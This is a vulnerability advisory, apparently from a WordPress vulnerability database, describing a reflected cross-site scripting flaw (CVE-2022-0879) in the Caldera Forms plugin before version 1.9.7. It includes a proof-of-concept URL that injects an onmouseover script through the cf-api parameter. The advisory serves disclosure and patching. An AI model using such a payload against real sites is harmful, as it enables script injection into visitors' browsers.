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Caldera Forms < 1.9.7 - Reflected Cross-Site Scripting

Description

The plugin does not validate and escape the cf-api parameter before outputting it back in the response, leading to a Reflected Cross-Site Scripting

Proof of Concept

The issue is only exploitable when there are no forms created yet

https://example.com/?cf-api=%22%20style=position:fixed;left:0;top:0;right:0;bottom:0;%20onmouseover=alert(1)%20x 

Affects Plugins

caldera-forms
Fixed in version 1.9.7 - plugin closed

References

CVE
CVE-2022-0879

Classification

Type

XSS

OWASP top 10
A7: Cross-Site Scripting (XSS)
CWE
CWE-79

Miscellaneous

Original Researcher

Krzysztof Zając

Submitter

Krzysztof Zając

Submitter website
https://kazet.cc/
Verified

Yes

WPVDB ID
c12f6087-1875-4edf-ac32-bec6f712968d

Timeline

Publicly Published

2022-03-28 (about 1 years ago)

Added

2022-03-28 (about 1 years ago)

Last Updated

2022-04-11 (about 1 years ago)

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